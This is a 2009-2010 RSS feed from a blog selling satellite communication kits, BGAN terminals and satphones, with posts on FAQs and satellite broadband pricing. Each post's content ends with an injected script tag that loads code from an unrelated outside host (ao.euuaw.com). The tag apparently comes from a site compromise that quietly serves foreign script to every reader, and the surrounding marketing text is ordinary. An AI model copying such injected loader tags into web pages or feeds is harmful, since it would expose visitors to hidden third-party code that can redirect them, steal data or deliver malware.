<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>OODAlink &#187; mobile broadband</title>
	<atom:link href="http://oodalink.com/tag/mobile-broadband/feed/" rel="self" type="application/rss+xml" />
	<link>http://oodalink.com</link>
	<description>Timely Connections for Uncertain Times</description>
	<lastBuildDate>Thu, 17 Jun 2010 15:45:54 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>OODAkit FAQs</title>
		<link>http://oodalink.com/oodakit-faqs/</link>
		<comments>http://oodalink.com/oodakit-faqs/#comments</comments>
		<pubDate>Tue, 17 Nov 2009 01:55:33 +0000</pubDate>
		<dc:creator>Nancy Harvey</dc:creator>
				<category><![CDATA[Natural Disasters]]></category>
		<category><![CDATA[Portable Communications]]></category>
		<category><![CDATA[BGAN]]></category>
		<category><![CDATA[Disaster Response Blogs]]></category>
		<category><![CDATA[humanitarian aid]]></category>
		<category><![CDATA[mobile broadband]]></category>
		<category><![CDATA[satellite communications]]></category>

		<guid isPermaLink="false">http://oodalink.com/?p=738</guid>
		<description><![CDATA[Here are the OODAkit FAQs. But if we missed your questions, please post it the comment field below so we can include it!
]]></description>
			<content:encoded><![CDATA[<p>Here are the <a href="http://oodalink.com/support/faqs/">OODAkit FAQs</a>. But if we missed your questions, please post it the comment field below so we can include it!<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://oodalink.com/oodakit-faqs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mobile Satellite Broadband - Expensive Huh!?</title>
		<link>http://oodalink.com/mobile-satellite-broadband-expensive-huh/</link>
		<comments>http://oodalink.com/mobile-satellite-broadband-expensive-huh/#comments</comments>
		<pubDate>Mon, 16 Nov 2009 15:18:22 +0000</pubDate>
		<dc:creator>Nancy Harvey</dc:creator>
				<category><![CDATA[Disaster Response Blogs]]></category>
		<category><![CDATA[BGAN]]></category>
		<category><![CDATA[communications]]></category>
		<category><![CDATA[Inmarsat]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[mobile broadband]]></category>
		<category><![CDATA[Mobile Satellite Broadband]]></category>
		<category><![CDATA[satellite communications]]></category>

		<guid isPermaLink="false">http://oodalink.com/?p=615</guid>
		<description><![CDATA[Many people are under the impression that satellite communications are expensive. Well — it’s really all relative.
Nearly all satellite service providers have customizable plans to match an organization’s budget constraints. Numerous satellite-based Internet services at remote (fixed) locations are available with monthly fees typically ranging from $49 to $99 (competitive with terrestrial rates).
Recognizing the budget constraints [...]]]></description>
			<content:encoded><![CDATA[<p>Many people are under the impression that satellite communications are expensive. Well — it’s really all relative.</p>
<p>Nearly all satellite service providers have customizable plans to match an organization’s budget constraints. Numerous satellite-based Internet services at remote (fixed) locations are available with monthly fees typically ranging from $49 to $99 (competitive with terrestrial rates).</p>
<p><span id="more-615"></span>Recognizing the budget constraints of corporations and government agencies requiring higher grades of service (than just Internet access), satellite and wireless service providers have developed pricing plans starting as low as a few hundred dollars per month. Almost all of these providers now have mechanisms for quickly upgrading  service plans (often within an hour or less after a request) in the event of an emergency or ad-hoc requirement for higher transmission rates and data throughput.</p>
<p>Today you can subscribe to mobile satellite broadband services by activating a terminal and then paying for usage as you need it. Varying monthly allowance plans are also available if you can predict your  usage needs (much like a cell phone service plan). These services have monthly rates on the order of $30 to $50 per month to keep the mobile terminal or phone activated and then usage charges are invoiced at the end of each month based on actual voice minutes and data transmitted.</p>
<p>Many people are still under the impression that these services are expensive. However consider that satphone calls can be made for a little as $0.79  per minute with no monthly commitment. Under varying plan packages, the per call charge can go as low as $0.29.</p>
<p>For users requiring simultaneous voice and data capabilities, <a href="http://oodalink.com/products/bgan-terminals/" target="_blank">Inmarsat BGAN terminals</a> are a good choice. These IP-based services enable voice calling and IP network access in a small form factor. Voice services  typically range from $0.79 — $1.29 (competitive with most cellular roaming charges) and data usage is charged at $6 to $8 per megabytes (bulk pricing discounts are also available).</p>
<p>When disaster strikes and there are no alternatives for communications — these mobile satellite broadband rates are a real bargain.</p>
<p>Consider the costs of not being able to make that critical call or send an email!</p>
<p><img src="file:///C:/Users/Nancy/AppData/Local/Temp/moz-screenshot.jpg" alt="" /><img src="file:///C:/Users/Nancy/AppData/Local/Temp/moz-screenshot-1.jpg" alt="" /><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://oodalink.com/mobile-satellite-broadband-expensive-huh/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Timely Connections for Uncertain Times</title>
		<link>http://oodalink.com/mobile-satellite-broadband/</link>
		<comments>http://oodalink.com/mobile-satellite-broadband/#comments</comments>
		<pubDate>Mon, 02 Nov 2009 23:07:23 +0000</pubDate>
		<dc:creator>Nancy Harvey</dc:creator>
				<category><![CDATA[Communicating With No Infrastructure]]></category>
		<category><![CDATA[Featured Slider]]></category>
		<category><![CDATA[Mobile Satellite Broadband]]></category>
		<category><![CDATA[OODAkits]]></category>
		<category><![CDATA[Portable Communications]]></category>
		<category><![CDATA[BGAN]]></category>
		<category><![CDATA[Disaster Response Blogs]]></category>
		<category><![CDATA[emergency management]]></category>
		<category><![CDATA[mobile broadband]]></category>
		<category><![CDATA[Preparedness]]></category>
		<category><![CDATA[satellite communications]]></category>

		<guid isPermaLink="false">http://oodanet.com/?p=106</guid>
		<description><![CDATA[OODAkits provide global Internet access and phone service — with power — to a small team.
]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.oodalink.com/oodakits">OODAkits</a> provide global Internet access and phone service — with power — to a small team.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://oodalink.com/mobile-satellite-broadband/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Timely Connections for Uncertain Times</title>
		<link>http://oodalink.com/under-construction/</link>
		<comments>http://oodalink.com/under-construction/#comments</comments>
		<pubDate>Wed, 21 Oct 2009 18:30:03 +0000</pubDate>
		<dc:creator>Nancy Harvey</dc:creator>
				<category><![CDATA[Communicating With No Infrastructure]]></category>
		<category><![CDATA[Featured Slider]]></category>
		<category><![CDATA[Mobile Satellite Broadband]]></category>
		<category><![CDATA[OODAkits]]></category>
		<category><![CDATA[Portable Communications]]></category>
		<category><![CDATA[BGAN]]></category>
		<category><![CDATA[Iridium]]></category>
		<category><![CDATA[mobile broadband]]></category>
		<category><![CDATA[satellite communications]]></category>
		<category><![CDATA[satphones]]></category>

		<guid isPermaLink="false">http:/?p=1</guid>
		<description><![CDATA[Products include BGAN terminals and satphones for global phone and Internet access.

]]></description>
			<content:encoded><![CDATA[<p style="padding-left: 30px;"><a href="http://oodalink.com/products/">Products</a> include <a href="http://oodalink.com/products/bgan-terminals">BGAN terminals</a> and <a href="http://oodalink.com/products/iridium-satphones/">satphones</a> for global phone and Internet access.</p>
<p><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://oodalink.com/under-construction/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
